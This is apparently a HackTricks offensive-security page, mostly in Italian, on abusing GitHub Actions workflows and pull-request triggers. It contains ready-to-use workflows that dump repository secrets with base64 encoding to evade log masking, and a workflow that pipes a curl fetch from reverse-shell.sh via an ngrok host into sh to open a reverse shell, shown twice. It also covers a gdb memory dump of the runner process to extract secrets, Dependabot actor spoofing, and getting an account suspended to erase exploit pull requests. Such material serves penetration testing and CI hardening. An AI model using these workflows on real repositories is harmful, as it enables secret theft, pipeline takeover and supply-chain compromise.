# Abuso di Github Actions
{{#include ../../../banners/hacktricks-training.md}}
## Strumenti
The following tools are useful to find Github Action workflows and even find vulnerable ones:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
## Informazioni di base
In questa pagina troverai:
- Un **riassunto di tutti gli impatti** che un attaccante può causare ottenendo accesso a una Github Action
- Diverse modalità per **ottenere accesso a un action**:
- Avere i **permessi** per creare l'action
- Abusare dei trigger legati ai **pull request**
- Abusare di **altre tecniche di accesso esterno**
- **Pivoting** da un repo già compromesso
- Infine, una sezione sulle **tecniche di post-exploitation per abusare di un action dall'interno** (per causare gli impatti menzionati)
## Sommario degli impatti
Per un'introduzione su [**Github Actions consulta le informazioni di base**](../basic-github-information.md#github-actions).
Se puoi **eseguire codice arbitrario in GitHub Actions** all'interno di un **repository**, potresti essere in grado di:
- **Rubare secrets** montati nella pipeline e **abusare dei privilegi della pipeline** per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP.
- **Compromettere deployment** e altri **artifacts**.
- Se la pipeline effettua deploy o memorizza asset, potresti alterare il prodotto finale, abilitando un supply chain attack.
- **Eseguire codice in custom workers** per abusare della potenza di calcolo e pivotare verso altri sistemi.
- **Sovrascrivere il codice del repository**, a seconda dei permessi associati al `GITHUB_TOKEN`.
## GITHUB_TOKEN
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
Puoi vedere i possibili **permessi** di questo token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Nota che il token **scade dopo che il job è terminato**.\
Questi token assomigliano a: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Alcune cose interessanti che puoi fare con questo token:
{{#tabs }}
{{#tab name="Merge PR" }}
```bash
# Merge PR
curl -X PUT \
https://api.github.com/repos///pulls//merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
{{#tab name="Approve PR" }}
```bash
# Approve a PR
curl -X POST \
https://api.github.com/repos///pulls//reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
{{#tab name="Create PR" }}
```bash
# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos///pulls \
-d '{"head":"","base":"master", "title":"title"}'
```
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
> Nota che in diverse occasioni potrai trovare **github user tokens inside Github Actions envs or in the secrets**. Questi tokens possono darti più privilegi sul repository e sull'organizzazione.
Elenca i secrets nell'output di Github Action
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
Ottieni reverse shell con secrets
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
È possibile verificare i permessi assegnati a un Github Token nei repository di altri utenti **controllando i log** delle actions:
## Esecuzione consentita
> [!NOTE]
> Questo sarebbe il modo più semplice per compromettere Github actions, poiché questo scenario presuppone che tu abbia accesso a **creare un nuovo repo nell'organizzazione**, oppure abbia **privilegi di scrittura su un repository**.
>
> Se ti trovi in questo scenario puoi semplicemente consultare i [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
### Esecuzione dalla creazione del repository
Se i membri di un'organizzazione possono **creare nuovi repos** e tu puoi eseguire github actions, puoi **creare un nuovo repo e rubare i secrets impostati a livello di organizzazione**.
### Esecuzione da un nuovo branch
Se puoi **creare un nuovo branch in un repository che contiene già una Github Action** configurata, puoi **modificarla**, **caricare** il contenuto e poi **eseguire quell'action dal nuovo branch**. In questo modo puoi **esfiltrare secrets a livello di repository e organizzazione** (ma devi sapere come si chiamano).
> [!WARNING]
> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
Puoi rendere l'action modificata eseguibile **manualmente,** quando viene **creata una PR** o quando viene **pushato del codice** (a seconda di quanto rumore vuoi fare):
```yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
---
## Esecuzione da fork
> [!NOTE]
> Ci sono diversi trigger che potrebbero permettere a un attacker di **eseguire una Github Action di un altro repository**. Se quelle action triggerabili sono mal configurate, un attacker potrebbe riuscire a comprometterle.
### `pull_request`
Il workflow trigger **`pull_request`** eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: di default, se è la **prima volta** che stai **collaborando**, qualche **maintainer** dovrà **approvare** la **run** del workflow:
> [!NOTE]
> Poiché la **limitazione di default** vale per i **contributor alla prima esperienza**, potresti contribuire **correggendo un bug/typo valido** e poi inviare **altre PR per abusare dei tuoi nuovi privilegi `pull_request`**.
>
> **Ho testato questo e non funziona**: ~~Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e cancellare il suo account.~~
Inoltre, di default **vengono bloccati i permessi di scrittura** e **l'accesso ai secrets** al repository di destinazione come indicato nei [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
Un attacker potrebbe modificare la definizione della Github Action per eseguire comandi arbitrari e aggiungere action arbitrarie. Tuttavia, non sarà in grado di rubare i secrets o sovrascrivere il repo a causa delle limitazioni menzionate.
> [!CAUTION]
> **Sì, se l'attacker cambia nella PR la github action che verrà triggerata, la sua Github Action sarà quella usata e non quella del repo di origine!**
Poiché l'attacker controlla anche il codice eseguito, anche se non ci sono secrets o permessi di scrittura sul `GITHUB_TOKEN`, un attacker potrebbe per esempio **uploadare artifacts maligni**.
### **`pull_request_target`**
Il workflow trigger **`pull_request_target`** ha **permessi di scrittura** sul repository di destinazione e **accesso ai secrets** (e non richiede approvazione).
Nota che il workflow trigger **`pull_request_target`** **gira nel contesto base** e non in quello fornito dalla PR (per **non eseguire codice non affidabile**). Per maggiori dettagli su `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Inoltre, per informazioni su questo uso specifico pericoloso consulta questo [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Potrebbe sembrare che, dato che il **workflow eseguito** è quello definito nella **base** e non in quello della PR, sia **sicuro** usare **`pull_request_target`**, ma ci sono **alcuni casi in cui non lo è**.
E questo avrà **accesso ai secrets**.
### `workflow_run`
Il trigger [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permette di eseguire un workflow da un altro quando questo è `completed`, `requested` o `in_progress`.
In questo esempio, un workflow è configurato per essere eseguito dopo che il workflow separato "Run Tests" è completato:
```yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
```
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
Questo tipo di workflow può essere attaccato se dipende da un **workflow** che può essere **triggered** da un utente esterno tramite **`pull_request`** o **`pull_request_target`**. Un paio di esempi vulnerabili possono essere [**trovati in questo blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). Il primo consiste nel workflow attivato da **`workflow_run`** che scarica il codice dell'attaccante: `${{ github.event.pull_request.head.sha }}`.
Il secondo consiste nel **passare** un **artifact** dal codice **untrusted** al workflow **`workflow_run`** e usare il contenuto di questo artifact in modo che lo renda **vulnerable to RCE**.
### `workflow_call`
TODO
TODO: Verificare se quando eseguito da un `pull_request` il codice usato/scaricato è quello dell'origin o del forked PR
## Abuso delle esecuzioni da fork
Abbiamo menzionato tutti i modi in cui un attaccante esterno può riuscire a far eseguire un github workflow; ora vediamo come queste esecuzioni, se configurate in modo errato, possano essere abusate:
### Esecuzione di checkout non affidabile
Nel caso di **`pull_request`**, il workflow verrà eseguito nel **contesto della PR** (quindi eseguirà il **codice maligno della PR**), ma qualcuno deve **autorizzarlo prima** e verrà eseguito con alcune [limitazioni](#pull_request).
Nel caso di un workflow che usa **`pull_request_target` or `workflow_run`** e che dipende da un workflow che può essere triggerato da **`pull_request_target` o `pull_request`**, verrà eseguito il codice del repo originale, quindi **l'attaccante non può controllare il codice eseguito**.
> [!CAUTION]
> Tuttavia, se l'**action** ha un **explicit PR checkout** che **prende il codice dalla PR** (e non dalla base), userà il codice controllato dall'attaccante. Per esempio (controlla la linea 12 dove viene scaricato il codice della PR):
# INSECURE. Provided as an example only.
on:
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
Il codice potenzialmente **untrusted viene eseguito durante `npm install` o `npm build`** poiché gli script di build e i **packages** referenziati sono controllati dall'autore della PR.
> [!WARNING]
> Un github dork per cercare action vulnerabili è: `event.pull_request pull_request_target extension:yml`; tuttavia, ci sono diversi modi per configurare i job in modo sicuro anche se l'action è configurata in modo insicuro (ad esempio usando condizionali su chi è l'actor che genera la PR).
### Context Script Injections
Nota che esistono certi [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) i cui valori sono **controllati** dall'**utente** che crea la PR. Se la github action usa quei **dati per eseguire qualcosa**, ciò potrebbe portare a **arbitrary code execution:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **GITHUB_ENV Script Injection**
Dalla documentazione: puoi rendere una **variabile d'ambiente disponibile ai passaggi successivi** in un job del workflow definendo o aggiornando la variabile d'ambiente e scrivendola nel file di ambiente **`GITHUB_ENV`**.
Se un attaccante potesse **iniettare qualsiasi valore** in questa variabile di ambiente, potrebbe inserire variabili d'ambiente che potrebbero eseguire codice nei passaggi successivi come **LD_PRELOAD** o **NODE_OPTIONS**.
Per esempio ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), immagina un workflow che si fida di un artifact caricato per memorizzarne il contenuto nella variabile di ambiente **`GITHUB_ENV`**. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:
### Dependabot e altri bot affidabili
Come indicato in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), molte organizzazioni hanno una Github Action che merge qualsiasi PR da `dependabot[bot]` come in:
```yaml
on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
```
Questo è un problema perché il campo `github.actor` contiene l'utente che ha causato l'ultimo evento che ha attivato il workflow. E ci sono diversi modi per far sì che l'utente `dependabot[bot]` modifichi una PR. Per esempio:
- Fork del repository vittima
- Aggiungi il payload malevolo alla tua copia
- Abilita Dependabot sul tuo fork aggiungendo una dependency obsoleta. Dependabot creerà una branch che sistema la dependency con codice malevolo.
- Apri una Pull Request al repository vittima da quella branch (la PR sarà creata dall'utente quindi non succederà ancora nulla)
- Poi, l'attaccante ritorna alla PR iniziale che Dependabot ha aperto nel suo fork ed esegue `@dependabot recreate`
- Successivamente, Dependabot esegue alcune azioni in quella branch, che modificano la PR sul repository vittima, il che rende `dependabot[bot]` l'actor dell'ultimo evento che ha attivato il workflow (e quindi il workflow viene eseguito).
Proseguendo, cosa succede se, invece di un merge, la Github Action contenesse una command injection come in:
```yaml
on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
```
Il post originale propone due opzioni per abusare di questo comportamento; quella descritta qui è la seconda:
- Forkare il repository della vittima e abilitare Dependabot con una dipendenza obsoleta.
- Creare un nuovo branch con il codice malevolo di shell injection.
- Cambiare il branch di default del repo su quello.
- Creare una PR da questo branch verso il repository vittima.
- Eseguire `@dependabot merge` nella PR che Dependabot ha aperto nel suo fork.
- Dependabot unirà i suoi cambiamenti nel branch di default del tuo repository forkato, aggiornando la PR nel repository vittima, facendo ora sì che `dependabot[bot]` sia l'attore dell'ultimo evento che ha attivato il workflow e usando un nome di branch malevolo.
### Github Actions di terze parti vulnerabili
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
Come menzionato in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), questa Github Action permette di accedere ad artifact provenienti da workflow diversi e persino da altri repository.
Il problema è che se il parametro **`path`** non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere poi utilizzati o anche eseguiti nel workflow. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusarne per compromettere altri workflow che si fidano dell'Artifact.
Esempio di workflow vulnerabile:
```yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
```
Questo può essere attaccato con il seguente workflow:
```yaml
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
```
---
## Altri Accessi Esterni
### Deleted Namespace Repo Hijacking
Se un account cambia il suo nome, un altro utente potrebbe registrare un account con quel nome dopo un certo periodo. Se un repository aveva **meno di 100 stars prima del cambio di nome**, Github permetterà al nuovo utente registrato con lo stesso nome di creare un **repository with the same name** as the one deleted.
> [!CAUTION]
> Quindi se un action sta usando un repo di un account inesistente, è ancora possibile che un attacker possa creare quell'account e compromise l'action.
Se altri repository stavano usando **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
> In questa sezione parleremo di tecniche che permetterebbero di **pivot from one repo to another** supponendo che abbiamo qualche tipo di accesso sul primo (vedi la sezione precedente).
### Cache Poisoning
Una cache viene mantenuta tra **wokflow runs in the same branch**. Questo significa che se un attacker **compromise** un **package** che viene poi memorizzato nella cache e **downloaded** ed eseguito da un **more privileged** workflow, sarà in grado di **compromise** anche quel workflow.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
### Artifact Poisoning
I workflow possono usare **artifacts from other workflows and even repos**, se un attacker riesce a **compromise** il Github Action che **uploads an artifact** che viene poi utilizzato da un altro workflow, potrebbe **compromise the other workflows**:
{{#ref}}
gh-actions-artifact-poisoning.md
{{#endref}}
---
## Post Exploitation from an Action
### Github Action Policies Bypass
Come commentato in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), anche se un repository o organization ha una policy che restringe l'uso di certe actions, un attacker potrebbe semplicemente fare download (`git clone`) di un action all'interno del workflow e poi referenziarlo come local action. Poiché le policies non influenzano i percorsi locali, **the action will be executed without any restriction.**
Esempio:
```yaml
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout
- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat
- run: ls && pwd
- run: ls tmp/checkout
```
### Accesso ad AWS e GCP via OIDC
Check the following pages:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
{{#ref}}
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### Accesso ai secrets
Se stai iniettando contenuto in uno script, è interessante sapere come puoi accedere ai secrets:
- Se il secret o token è impostato come **variabile d'ambiente**, può essere recuperato direttamente dall'ambiente usando **`printenv`**.
Elencare i secrets nell'output di Github Action
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
Ottieni reverse shell con secrets
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
- Se il secret è usato **direttamente in un'espressione**, lo script shell generato viene memorizzato **su disco** ed è accessibile.
- ```bash
cat /home/runner/work/_temp/*
```
- Per una JavaScript action i secrets vengono inviati tramite environment variables
- ```bash
ps axe | grep node
```
- Per una **custom action**, il rischio può variare a seconda di come un programma sta usando il secret che ha ottenuto dall'**argument**:
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
- Enumerare tutti i secrets tramite il secrets context (collaborator level). Un contributor con write access può modificare un workflow su qualsiasi branch per dumpare tutti i secrets del repository/org/environment. Usa double base64 per evadere il log masking di GitHub e decodifica localmente:
```yaml
name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
```
Decodifica localmente:
```bash
echo "ZXdv...Zz09" | base64 -d | base64 -d
```
Suggerimento: per stealth durante i test, cripta prima di stampare (openssl è preinstallato sui GitHub-hosted runners).
### Abuso dei Self-hosted runners
Il modo per scoprire quali **GitHub Actions vengono eseguite su infrastrutture non-GitHub** è cercare **`runs-on: self-hosted`** nella configurazione yaml delle GitHub Actions.
**Self-hosted** runners potrebbero avere accesso a **informazioni sensibili aggiuntive**, ad altri **sistemi di rete** (endpoint vulnerabili nella rete? metadata service?) oppure, anche se isolato e distrutto, **più di una action potrebbe essere eseguita contemporaneamente** e quella malevola potrebbe **rubare i secrets** dell'altra.
Nei self-hosted runners è anche possibile ottenere i **secrets from the \_Runner.Listener**\_\*\* process\*\* che conterrà tutti i secrets dei workflows in qualsiasi step dumpando la sua memoria:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Registro immagini Docker di Github
È possibile creare Github Actions che eseguono il build e memorizzano un'immagine Docker all'interno di Github.\
Un esempio è disponibile nel seguente elemento espandibile:
Github Action Build & Push Docker Image
```yaml
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
Come puoi vedere nel codice precedente, il registry di Github è ospitato in **`ghcr.io`**.
Un utente con permessi di lettura sul repo potrà quindi scaricare la Docker Image utilizzando un personal access token:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
```
Poi, l'utente potrebbe cercare **leaked secrets in the Docker image layers:**
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Informazioni sensibili nei log di Github Actions
Anche se **Github** prova a **detect secret values** nei log delle actions e a **avoid showing** questi valori, **altri dati sensibili** che potrebbero essere stati generati durante l'esecuzione dell'action non verranno nascosti. Per esempio, un JWT firmato con un secret value non verrà nascosto a meno che non sia [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Coprire le tue tracce
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prima di tutto, qualsiasi PR aperta è chiaramente visibile al pubblico su Github e all'account GitHub bersaglio. Su GitHub, per default, **non possiamo cancellare una PR dall'internet**, ma c'è un trucco. Per gli account Github che vengono **suspended** da Github, tutte le loro **PRs vengono automaticamente deleted** e rimosse dall'internet. Quindi, per nascondere la tua attività devi o far sì che il tuo **GitHub account venga suspended o che il tuo account venga flagged**. Questo **nasconderebbe tutte le tue attività** su GitHub da internet (basicamente rimuovere tutte le tue exploit PR)
Un'organizzazione su GitHub è molto proattiva nel reportare account a GitHub. Tutto quello che devi fare è condividere “some stuff” in un Issue e si assicureranno che il tuo account sia suspended entro 12 hours :p e così hai reso il tuo exploit invisible su github.
> [!WARNING]
> L'unico modo per un'organizzazione per capire di essere stata presa di mira è controllare i log di GitHub dal SIEM, dato che dalla GitHub UI la PR verrebbe rimossa.
## Riferimenti
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../../banners/hacktricks-training.md}}
.png)
.png)
.png)
.png)